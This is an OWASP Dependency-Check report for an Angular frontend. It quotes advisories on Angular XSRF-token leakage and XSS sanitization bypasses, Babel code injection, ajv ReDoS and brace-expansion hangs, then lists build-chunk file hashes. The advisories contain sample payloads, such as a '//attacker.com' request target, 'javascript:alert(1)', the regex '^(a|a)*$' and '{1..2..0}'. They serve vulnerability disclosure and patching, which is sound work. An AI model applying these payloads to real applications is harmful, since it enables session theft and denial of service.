Dependency-Check is an open source tool performing a best effort analysis of 3rd party dependencies; false positives and false negatives may exist in the analysis performed by the tool. Use of the tool and the reporting provided constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to the analysis or its use. Any use of the tool and the reporting provided is at the user’s risk. In no event shall the copyright holder or OWASP be held liable for any damages whatsoever arising out of or in connection with the use of this tool, the analysis performed, or the resulting report.
Summary of Vulnerable Dependencies (click to show all)
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@angular/common
Referenced In Project/Scope: package-lock.json: transitive
The vulnerability is a **Credential Leak by App Logic** that leads to the **unauthorized disclosure of the Cross-Site Request Forgery (XSRF) token** to an attacker-controlled domain. Angular's HttpClient has a built-in XSRF protection mechanism that works by checking if a request URL starts with a protocol (`http://` or `https://`) to determine if it is cross-origin. If the URL starts with protocol-relative URL (`//`), it is incorrectly treated as a same-origin request, and the XSRF token is automatically added to the `X-XSRF-TOKEN` header. ### Impact The token leakage completely bypasses Angular's built-in CSRF protection, allowing an attacker to capture the user's valid XSRF token. Once the token is obtained, the attacker can perform arbitrary Cross-Site Request Forgery (CSRF) attacks against the victim user's session. ### Attack Preconditions 1. The victim's Angular application must have **XSRF protection enabled**. 2. The attacker must be able to make the application send a state-changing HTTP request (e.g., `POST`) to a **protocol-relative URL** (e.g., `//attacker.com`) that they control. ### Patches - 19.2.16 - 20.3.14 - 21.0.1 ### Workarounds Developers should avoid using protocol-relative URLs (URLs starting with `//`) in HttpClient requests. All backend communication URLs should be hardcoded as relative paths (starting with a single `/`) or fully qualified, trusted absolute URLs.CWE-359 Exposure of Private Personal Information to an Unauthorized Actor, CWE-201 Insertion of Sensitive Information Into Sent Data
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@angular/compiler
Referenced In Project/Scope: package-lock.json: transitive
A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular runtime and compiler. It occurs when the application uses a security-sensitive attribute (for example href on an anchor tag) together with Angular's ability to internationalize attributes. Enabling internationalization for the sensitive attribute by adding `i18n-<attribute>` name bypasses Angular's built-in sanitization mechanism, which when combined with a data binding to untrusted user-generated data can allow an attacker to inject a malicious script.
The following example illustrates the issue:
```html
<a href="{{maliciousUrl}}" i18n-href>Click me</a>
```
The following attributes have been confirmed to be vulnerable:
- `action`
- `background`
- `cite`
- `codebase`
- `data`
- `formaction`
- `href`
- `itemtype`
- `longdesc`
- `poster`
- `src`
- `xlink:href`
### Impact
When exploited, this vulnerability allows an attacker to execute arbitrary code within the context of the vulnerable application's domain. This enables:
- Session Hijacking: Stealing session cookies and authentication tokens.
- Data Exfiltration: Capturing and transmitting sensitive user data.
- Unauthorized Actions: Performing actions on behalf of the user.
### Attack Preconditions
1. The application must use a vulnerable version of Angular.
2. The application must bind unsanitized user input to one of the attributes mentioned above.
3. The bound value must be marked for internationalization via the presence of a `i18n-<name>` attribute on the same element.
### Patches
- 22.0.0-next.3
- 21.2.4
- 20.3.18
- 19.2.20
### Workarounds
The primary workaround is to ensure that any data bound to the vulnerable attributes is **never sourced from untrusted user input** (e.g., database, API response, URL parameters) until the patch is applied, or when it is, it shouldn't be marked for internationalization.
Alternatively, users can explicitly sanitize their attributes by passing them through Angular's `DomSanitizer`:
```ts
import {Component, inject, SecurityContext} from '@angular/core';
import {DomSanitizer} from '@angular/platform-browser';
@Component({
template: `
<form action="{{url}}" i18n-action>
<button>Submit</button>
</form>
`,
})
export class App {
url: string;
constructor() {
const dangerousUrl = 'javascript:alert(1)';
const sanitizer = inject(DomSanitizer);
this.url = sanitizer.sanitize(SecurityContext.URL, dangerousUrl) || '';
}
}
```
### References
- [Fix 1](https://github.com/angular/angular/pull/67541)
- [Fix 2](https://github.com/angular/angular/pull/67561)CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')Vulnerable Software & Versions (NPM):
A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the `href` and `xlink:href` attributes of SVG `<script>` elements as a **Resource URL** context. In a standard security model, attributes that can load and execute code (like a script's source) should be strictly validated. However, because the compiler does not classify these specific SVG attributes correctly, it allows attackers to bypass Angular's built-in security protections. When template binding is used to assign user-controlled data to these attributes for example, `<script [attr.href]="userInput">` the compiler treats the value as a standard string or a non-sensitive URL rather than a resource link. This enables an attacker to provide a malicious payload, such as a `data:text/javascript` URI or a link to an external malicious script. ### Impact When successfully exploited, this vulnerability allows for **arbitrary JavaScript execution** within the context of the victim's browser session. This can lead to: - **Session Hijacking:** Stealing session cookies, localStorage data, or authentication tokens. - **Data Exfiltration:** Accessing and transmitting sensitive information displayed within the application. - **Unauthorized Actions:** Performing state-changing actions (like clicking buttons or submitting forms) on behalf of the authenticated user. ### Attack Preconditions 1. The victim application must explicitly use SVG `<script>` elements within its templates. 2. The application must use property or attribute binding (interpolation) for the `href` or `xlink:href` attributes of those SVG scripts. 3. The data bound to these attributes must be derived from an untrusted source (e.g., URL parameters, user-submitted database entries, or unsanitized API responses). ### Patches - 19.2.18 - 20.3.16 - 21.0.7 - 21.1.0-rc.0 ### Workarounds Until the patch is applied, developers should: - **Avoid Dynamic Bindings**: Do not use Angular template binding (e.g., `[attr.href]`) for SVG `<script>` elements. - **Input Validation**: If dynamic values must be used, strictly validate the input against a strict allowlist of trusted URLs on the server side or before it reaches the template. ### Resources - https://github.com/angular/angular/pull/66318CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NPM):
A **Stored Cross-Site Scripting ([XSS](https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss))** vulnerability has been identified in the **Angular Template Compiler**. It occurs because the compiler's internal security schema is incomplete, allowing attackers to bypass Angular's built-in security sanitization. Specifically, the schema fails to classify certain URL-holding attributes (e.g., those that could contain [`javascript:` URLs](https://developer.mozilla.org/en-US/Web/URI/Reference/Schemes/javascript)) as requiring strict URL security, enabling the injection of malicious scripts. Additionally, a related vulnerability exists involving SVG animation elements (`<animate>`, `<set>`, `<animateMotion>`, `<animateTransform>`). The `attributeName` attribute on these elements was not properly validated, allowing attackers to dynamically target security-sensitive attributes like `href` or `xlink:href` on other elements. By binding `attributeName` to "href" and providing a `javascript:` URL in the `values` or `to` attribute, an attacker could bypass sanitization and execute arbitrary code. Attributes confirmed to be vulnerable include: * SVG-related attributes: (e.g., `xlink:href`), and various MathML attributes (e.g., `math|href`, `annotation|href`). * SVG animation `attributeName` attribute when bound to "href" or "xlink:href". When template binding is used to assign untrusted, user-controlled data to these attributes (e.g., `[attr.xlink:href]="maliciousURL"` or `<animate [attributeName]="'href'" [values]="maliciousURL">`), the compiler incorrectly falls back to a non-sanitizing context or fails to block the dangerous attribute assignment. This allows an attacker to inject a `javascript:URL` payload. Upon user interaction (like a click) on the element, or automatically in the case of animations, the malicious JavaScript executes in the context of the application's origin. ### Impact When exploited, this vulnerability allows an attacker to execute arbitrary code within the context of the vulnerable application's domain. This enables: * **Session Hijacking:** Stealing session cookies and authentication tokens. * **Data Exfiltration:** Capturing and transmitting sensitive user data. * **Unauthorized Actions:** Performing actions on behalf of the user. ### Patches - 19.2.17 - 20.3.15 - 21.0.2 ### Attack Preconditions * The victim's Angular application must render data derived from **untrusted input** (e.g., from a database or API) and bind it to one of the unsanitized URL attributes or the `attributeName` of an SVG animation element. * The victim must perform a **user interaction** (e.g., clicking) on the compromised element for the stored script to execute, or the animation must trigger the execution. ### Workarounds If you cannot upgrade, you can workaround the issue by ensuring that any data bound to the vulnerable attributes is never sourced from untrusted user input (e.g., database, API response, URL parameters). * **Avoid Affected Template Bindings:** Specifically avoid using template bindings (e.g., `[attr.xlink:href]="maliciousURL"`) to assign untrusted data to the vulnerable SVG/MathML attributes. * **Avoid Dynamic `attributeName` on SVG Animations:** Do not bind untrusted data to the `attributeName` attribute of SVG animation elements (`<animate>`, `<set>`, etc.). * **Enable [Content Security Policy (CSP)](https://angular.dev/best-practices/security#content-security-policy):** Configure a robust CSP header that disallows `javascript:` URLs.CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@angular/core
Referenced In Project/Scope: package-lock.json: transitive
A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular runtime and compiler. It occurs when the application uses a security-sensitive attribute (for example href on an anchor tag) together with Angular's ability to internationalize attributes. Enabling internationalization for the sensitive attribute by adding `i18n-<attribute>` name bypasses Angular's built-in sanitization mechanism, which when combined with a data binding to untrusted user-generated data can allow an attacker to inject a malicious script.
The following example illustrates the issue:
```html
<a href="{{maliciousUrl}}" i18n-href>Click me</a>
```
The following attributes have been confirmed to be vulnerable:
- `action`
- `background`
- `cite`
- `codebase`
- `data`
- `formaction`
- `href`
- `itemtype`
- `longdesc`
- `poster`
- `src`
- `xlink:href`
### Impact
When exploited, this vulnerability allows an attacker to execute arbitrary code within the context of the vulnerable application's domain. This enables:
- Session Hijacking: Stealing session cookies and authentication tokens.
- Data Exfiltration: Capturing and transmitting sensitive user data.
- Unauthorized Actions: Performing actions on behalf of the user.
### Attack Preconditions
1. The application must use a vulnerable version of Angular.
2. The application must bind unsanitized user input to one of the attributes mentioned above.
3. The bound value must be marked for internationalization via the presence of a `i18n-<name>` attribute on the same element.
### Patches
- 22.0.0-next.3
- 21.2.4
- 20.3.18
- 19.2.20
### Workarounds
The primary workaround is to ensure that any data bound to the vulnerable attributes is **never sourced from untrusted user input** (e.g., database, API response, URL parameters) until the patch is applied, or when it is, it shouldn't be marked for internationalization.
Alternatively, users can explicitly sanitize their attributes by passing them through Angular's `DomSanitizer`:
```ts
import {Component, inject, SecurityContext} from '@angular/core';
import {DomSanitizer} from '@angular/platform-browser';
@Component({
template: `
<form action="{{url}}" i18n-action>
<button>Submit</button>
</form>
`,
})
export class App {
url: string;
constructor() {
const dangerousUrl = 'javascript:alert(1)';
const sanitizer = inject(DomSanitizer);
this.url = sanitizer.sanitize(SecurityContext.URL, dangerousUrl) || '';
}
}
```
### References
- [Fix 1](https://github.com/angular/angular/pull/67541)
- [Fix 2](https://github.com/angular/angular/pull/67561)CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')Vulnerable Software & Versions (NPM):
A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the `href` and `xlink:href` attributes of SVG `<script>` elements as a **Resource URL** context. In a standard security model, attributes that can load and execute code (like a script's source) should be strictly validated. However, because the compiler does not classify these specific SVG attributes correctly, it allows attackers to bypass Angular's built-in security protections. When template binding is used to assign user-controlled data to these attributes for example, `<script [attr.href]="userInput">` the compiler treats the value as a standard string or a non-sensitive URL rather than a resource link. This enables an attacker to provide a malicious payload, such as a `data:text/javascript` URI or a link to an external malicious script. ### Impact When successfully exploited, this vulnerability allows for **arbitrary JavaScript execution** within the context of the victim's browser session. This can lead to: - **Session Hijacking:** Stealing session cookies, localStorage data, or authentication tokens. - **Data Exfiltration:** Accessing and transmitting sensitive information displayed within the application. - **Unauthorized Actions:** Performing state-changing actions (like clicking buttons or submitting forms) on behalf of the authenticated user. ### Attack Preconditions 1. The victim application must explicitly use SVG `<script>` elements within its templates. 2. The application must use property or attribute binding (interpolation) for the `href` or `xlink:href` attributes of those SVG scripts. 3. The data bound to these attributes must be derived from an untrusted source (e.g., URL parameters, user-submitted database entries, or unsanitized API responses). ### Patches - 19.2.18 - 20.3.16 - 21.0.7 - 21.1.0-rc.0 ### Workarounds Until the patch is applied, developers should: - **Avoid Dynamic Bindings**: Do not use Angular template binding (e.g., `[attr.href]`) for SVG `<script>` elements. - **Input Validation**: If dynamic values must be used, strictly validate the input against a strict allowlist of trusted URLs on the server side or before it reaches the template. ### Resources - https://github.com/angular/angular/pull/66318CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NPM):
A [Cross-site Scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS) vulnerability has been identified in the Angular internationalization (i18n) pipeline. In ICU messages (International Components for Unicode), HTML from translated content was not properly sanitized and could execute arbitrary JavaScript. Angular i18n typically involves three steps, extracting all messages from an application in the source language, sending the messages to be translated, and then merging their translations back into the final source code. Translations are frequently handled by contracts with specific partner companies, and involve sending the source messages to a separate contractor before receiving final translations for display to the end user. If the returned translations have malicious content, it could be rendered into the application and execute arbitrary JavaScript. ### Impact When successfully exploited, this vulnerability allows for execution of attacker controlled JavaScript in the application origin. Depending on the nature of the application being exploited this could lead to: - **Credential Exfiltration**: Stealing sensitive user data stored in page memory, LocalStorage, IndexedDB, or cookies available to JS and sending them to an attacker controlled server. - **Page Vandalism:** Mutating the page to read or act differently than intended by the developer. ### Attach Preconditions - **The attacker must compromise the translation file (xliff, xtb, etc.).** - Unlike most XSS vulnerabilities, this one is not exploitable by arbitrary users. An attacker must first compromise an application's translation file before they can escalate privileges into the Angular application client. - The victim application must use Angular i18n. - The victim application must use one or more ICU messages. - The victim application must render an ICU message. - The victim application must not defend against XSS via a safe [Content-Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) or [Trusted Types](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API). ### Patches - 21.2.0 - 21.1.6 - 20.3.17 - 19.2.19 ### Workarounds Until the patch is applied, developers should consider: - **Reviewing and verifying translated content** received from untrusted third parties before incorporating it in an Angular application. - **Enabling strict CSP controls** to block unauthorized JavaScript from executing on the page. - [**Enabling Trusted Types**](https://angular.dev/best-practices/security#enforcing-trusted-types) to enforce proper HTML sanitization. ### References - [Fix](https://github.com/angular/angular/pull/67183)CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@babel/plugin-transform-modules-systemjs
Referenced In Project/Scope: package-lock.json: transitive
### Impact Using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code. Known affected plugins are: - `@babel/plugin-transform-modules-systemjs` - `@babel/preset-env` when using the [`modules: "systemjs"` option](https://babel.dev/docs/babel-preset-env#modules), as it delegates to `@babel/plugin-transform-modules-systemjs` No other plugins under the `@babel` namespace are impacted. **Users that only compile trusted code are not impacted.** ### Patches The vulnerability has been fixed in `@babel/plugin-transform-modules-systemjs@7.29.4`. Babel also released `@babel/preset-env@7.29.5`, updating its `@babel/plugin-transform-modules-systemjs` dependency, to simplify forcing the update if you are using `@babel/preset-env` directly. ### Workarounds - Pin `@babel/parser` to v7.11.5. The downgrade will completely disable string module name parsing, but it would also disable other new language features and the build pipeline may fail as a result. Only do so if you are working on a legacy codebase and can not upgrade `@babel/plugin-transform-modules-systemjs` to v7.29.4. - Do not use the `modules: "systemjs"` option, migrate the codebase to native ES Modules or any other module formats. ### Credits Babel thanks Daniel Cervera for reporting the vulnerability.CWE-843 Access of Resource Using Incompatible Type ('Type Confusion'), CWE-94 Improper Control of Generation of Code ('Code Injection')
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?ajv
Referenced In Project/Scope: package-lock.json: transitive
ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the `$data` option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax (`$data` reference), which is passed directly to the JavaScript `RegExp()` constructor without validation. An attacker can inject a malicious regex pattern (e.g., `\"^(a|a)*$\"`) combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with `$data`: true for dynamic schema validation.CWE-400 Uncontrolled Resource Consumption, CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?brace-expansion
Referenced In Project/Scope: package-lock.json: transitive
### Impact
A brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.
The loop in question:
https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184
`test()` is one of
https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113
The increment is computed as `Math.abs(0) = 0`, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a `RangeError`. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.
This affects any application that passes untrusted strings to expand(), or by error sets a step value of `0`. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.
### Patches
Upgrade to versions
- 5.0.5+
A step increment of 0 is now sanitized to 1, which matches bash behavior.
### Workarounds
Sanitize strings passed to `expand()` to ensure a step value of `0` is not used.CWE-400 Uncontrolled Resource ConsumptionVulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-22DMWHJU.js
MD5: 53c1dba0e1ad35499f3b211cb12bc3a5
SHA1: 64bffd8b60502a0dcbda491b2cc73abd7ab81bcb
SHA256:631d6a094d422cc1d936c560d6a3dc19fcf71da66db148322eec6f40bb477c96
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-3BSHJ67V.js
MD5: 974c3704ecf6794706926e0238b4cbc5
SHA1: 7138a5dd2e73c87ebcabae04b946242907c42d21
SHA256:cbfe9f3f1906b0e184b01fd138eb81470fda524ba8d32342667f3969f786b094
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-4EPMPMVV.js
MD5: 051dcbe20e2318ad218ccd21bf9305c1
SHA1: 6d9b1bcc9a9a09b41bf7bee90229f73f50174800
SHA256:e86bee56b0ed7ecbeb39b74aa73bc385bdca8eddbd5f6d048bf020f584e012dd
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-4HCIODQW.js
MD5: e61723e9914ffe517465519bdd5751e9
SHA1: e34dd33ade7e6ffddf223aed98a50802881ef1e2
SHA256:b1c26d77f07090e299642b9094af0b941476488bb844041fb65f60d60ea614bf
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-4HGMDUUJ.js
MD5: 81111a3e199a0c67931c726d0b48079b
SHA1: 36020261b86cfaeabbb21871991171e32c9f90bd
SHA256:9d13e23f1691fb0338cc4ea1dcd9fa20426e116f55695ace85f5c8970acb12be
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-4RYJXRR5.js
MD5: 38b40815f3beaa65fc61e3bd5df3013a
SHA1: e848d2892b02fd71621e31d47101a89348654d56
SHA256:b978afea420b2a77a322c33b4f4339b05651b2fcfa711e9c43f8206ab9bf2f16
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-53AEE7WQ.js
MD5: 861e2deb0cafb4329a9726ce719c1d0d
SHA1: 29b250fce799e4f451eb34a806c68163bcdf460c
SHA256:1696edb145d53bcc1d6af174b8864215e2cf324615570e5eda7e9cc2cc5d58df
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-5JAV7XL2.js
MD5: d3535b77939340a9c2bfdfc6cd38a2c3
SHA1: 82aabff7e7da656d6a10070b5ac54cf5dc9ec0e4
SHA256:dbb710be4b0cc6336e7f738d3e7d586ab453165cd5aa59d07b557779744cd2ce
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-5NWGGEDB.js
MD5: 6c07627ac55a4ec67249e4cc5fe9560b
SHA1: a01cef3446e77718f7d8f759066da1049a034e23
SHA256:d28bd92e32993baafb618caecf290245f2e52c55b3879271c979f0e413527bb4
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-6CQLQCZO.js
MD5: 265fe9fad469c980f2bd7347af48919c
SHA1: 2547b1e426c4e576f7e70c6de0e44ccd6716888b
SHA256:83130a4e7c9ecce2b8a2d271468fa5e5f56ec12671b10dac21c5cb564d855e58
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-7KPQ2DXU.js
MD5: 51e5399ec74779cee16df23133f8c142
SHA1: 5a2303aeaf49021713c9749678bd92626dd97e41
SHA256:bfbcde6190f1114088f0cbb2145931de9391d959cf2f2fdf5e956311e2cea4e3
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-AP5MTEER.js
MD5: b41688ea52dc54047610d5b4f4d10c73
SHA1: 1c8052a90e1523f3d4970baf7d7c5c4283b9135c
SHA256:3a623fb25895bb70d3c77601581a41da30055b872fa1fc568ad22b633e782431
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-B2GWLCYN.js
MD5: 669e2516a1a4653fa982f23f269106d9
SHA1: 73150dd2c6841c21cb668abfff4958becac6f9c9
SHA256:c414eb57af1a00b98fed1d272406e33aaf48dc0f69fa191ca6484a68b6aeb4b7
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-BG6VN43N.js
MD5: 9d1f2542dee7be988e6a7c53540ba996
SHA1: 6b5b6a858402168858261e59e37b5c5456ad81d5
SHA256:d69fef67a7b52b0ffac01331ef77e5a05866776d51cd1e279b87a102d55c53b6
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-BQ5Q5WHY.js
MD5: 0bd9272b766358319b3ac9c7fd09eede
SHA1: bfbb047b2894a9b7bae4af5d469ebc70186115cc
SHA256:cf806d183e69f1ec6e840f455d6fc1206bfe042484ed70fd38ec61ff8d287134
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-CDXM5JBR.js
MD5: fe49953eb8e2552e6ae5621e75cddc4c
SHA1: 5cca4c33994f5b1ba42661f2053528bbac974f89
SHA256:d7fe8230f19aa7137ae6a130a9ca50151ae5b6f998cd3cc2d86015838ebcf58f
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-CXMDUMAF.js
MD5: dcea4951894fecaedd2074a0d7423ec2
SHA1: 3e6a4802a71467864a6903774b003802976a2617
SHA256:8435a19a2ffe554706c0c2fd7f19b9c21e250836015d0c53a2cd41736c7f37ca
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-DP4F5TQA.js
MD5: 9204c168d2dd7f3887c241ce540df6fd
SHA1: e160caa379daba2fd8dc649bd275a5438d7370e8
SHA256:498da39df825ce7de8ee3d16ed7ea119fe1fd7dc1af3882b37c056f79fd6e705
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-DZE4XF7X.js
MD5: 8adf14c597d81580c666618d4ef42d33
SHA1: 7710d6ee615a3053943abc37b5b5d55d7bee53f3
SHA256:b55e2cdb94b139b39b2e5925cd0d8907b3350c2660d79e71865f380ca0221f48
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-E2U6DIW7.js
MD5: a7a0b77008b596daef1532e333bf87a4
SHA1: 824a716dfb47ee4fdc5fe25163b41ac47deb05c8
SHA256:d695f8d1b8e2a8018eb91fb8e480d992e89ead94e5e7babf7bf212e2ece72532
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-EAWD2SGJ.js
MD5: 63d054e48aaec89450768558ebc3d311
SHA1: a39a8799376756a54f74a2e258feb09561e8093f
SHA256:a41fd636aceafe980d9d369879682274fdf18947ac3b4c5536afaff29467c565
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-EGWSR27L.js
MD5: 9253b2a9b667f3fb975ef053e3ae5f6b
SHA1: 4e646b41621bfe2ad95b3d80d5ebb71c8b668453
SHA256:bbc8e5c657e9b39cb7f3d9bbb261e1422a8b3c3e08ab8f6750522c8b2249de33
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-G6A6TI3J.js
MD5: d14097631b8a6c325bf8fcffe61a6241
SHA1: f71f65d5a66e85d06915cd742858fe0838b2230d
SHA256:76b44e548e52b65cefe5a5a3d6f261d565f06cd5326e9bb21ab829c54d8a4ae4
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-GLG2D2GH.js
MD5: ce13ecf9e07cc6fc3d1e894ebc44cd0d
SHA1: e1cf4dff01ea0fd12a1b15b9825ada0be6aa00a3
SHA256:29e551838774689067b523c34b8e4c7e1b4ee884100768abcb32070747f61ba2
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-GVPHTL2F.js
MD5: ed0c7f5f6c5f2eb2faa94aa7a058b6fe
SHA1: a5038608f6d6728112baaf9e3fe4a4c722e3e451
SHA256:e1c70a04a6d9d81032c7c96badfdc397e72f716fb082b2465129dde191ce3e0e
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-I46VRRDT.js
MD5: 2d2d068c2b1759cb2b6ce0dea3a186c4
SHA1: 1984efbbbb65c61a9ea1c5d383e21ff06dfd33d7
SHA256:b82a54b9ccc44a086e531df437ca67339253f11dda6feae26e3aace96284047b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-IQ5EZLZZ.js
MD5: 6942bc78af6ec635242a53ff9ecc7131
SHA1: 115b7912c0f2812e61e37476e70e4186e6d7c4a5
SHA256:3f5465d25f32c10c239e3d713e4e3c00d29508782e78a9b050923f717511ab56
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-IUCE3IFI.js
MD5: f3c414f800258402f164d8ca24b3b0af
SHA1: 9b524afcc9c299b3881af4401859e413aaf75f21
SHA256:4e444a26a2a66d5fcc32db07de986e5807bcd4dcb84d20681a9ba15ee0cf57b0
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-JPQYYK7S.js
MD5: e600cdb227922491efb92d7bad4a8a40
SHA1: 3f2d34f5cb47ff97f539faf20f0c5ad98abb9cf9
SHA256:e9d999feb85f4fdb9d305eb0a039b8203b703275a926808e72cab61fb6aaa9c9
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-JTCJRRTZ.js
MD5: 5bad1fba1aa8ce7b6ae87e38826568a8
SHA1: 07bf5931428853035aa2b94db59bf69972e0c865
SHA256:df86b5b146d63adc8a5b4884bd6863ac10f581a90b04ed1c24d2a8951d841b35
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-KJM4GBF6.js
MD5: 18de703e228f43d43e60f7ee16f5c43c
SHA1: 62372a1b3724549a732f028508ab5d1355d8acf5
SHA256:e6fb403f2357eb79b32f98fb355b5544cb174f4988ca135c5e32fd7a709fcbe3
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-KLY4GGYL.js
MD5: 68d7597e77e9403728fe70d98f02e212
SHA1: 4320ef8bc63f8769f4913b067548f970b588cd51
SHA256:574e7b2824caeea63f2369286b96b16a57d89ecb1ca1b69381aec6a85fbd929a
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-LIPVPPG2.js
MD5: 005b538b97c0a5dc7efa2c1f9f2cd669
SHA1: c85cf37683adfb534764c8eb4a8524d6b5d85a75
SHA256:10b4ac8b828998ed7a94823a70676da34ac35dd566a5a6b2dd5501c5604ad728
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-MLV6OKF7.js
MD5: acd09edef83d3a6d64d6244b5ddff307
SHA1: 7cff463c4469af08b5822a00b704cbaeabc2551f
SHA256:aa1e015366f5c18ad6e58daa348156add9a77b9a7ea0cd26ef41c27008af059f
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-MM75KSXS.js
MD5: 88a923eb70930ff6f559d61da5a7b1c7
SHA1: 98a1101a9998866c947aaf751493b124618b1a29
SHA256:3e11b8037e42257323f1b93fcb0a649cdd4f73062b96ad55f9dea4d144e7feea
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-MMHCKGY2.js
MD5: 8b5fe35417d7c0646a96d1bf7569bce6
SHA1: 346e4da967aaffbdf8f271c6aaa274534f5107fa
SHA256:c3995309e2db9854f47a106f22e23cde159f90a6287bf9ca8f4943bcd729a752
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-MXT4ZVWM.js
MD5: fbed8f63dedd448fdeaaf45c1eff7717
SHA1: e46ec2c7395711f38e536ca3124aa1edef98963c
SHA256:2fbb23fc2eb40b4229c2b78fe00de72c00bc95233a3f5c42ca39586556172063
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-NHAPSCFL.js
MD5: b25d8297c15f0125bd0df932c29a0491
SHA1: 67240bc01272e505eb9e2cfbf2cc2a9960781771
SHA256:9cd71b9d88bf599923ca59c629d07492e7fa5bf4d35ecaae4a1a1d4dae3d5a4d
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-NHU2NPDK.js
MD5: 14c1ceee56d473749325b747737198ec
SHA1: 800ef916de88dc77f5a1b34ea80da422b33d8b6d
SHA256:5a49eaa7856e59ba03ff7bac334c99d1a0347294fbc0e24ed703bd02557a44b6
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-O36LP2K6.js
MD5: 27f1e55716aff202fde32bd06674ff1f
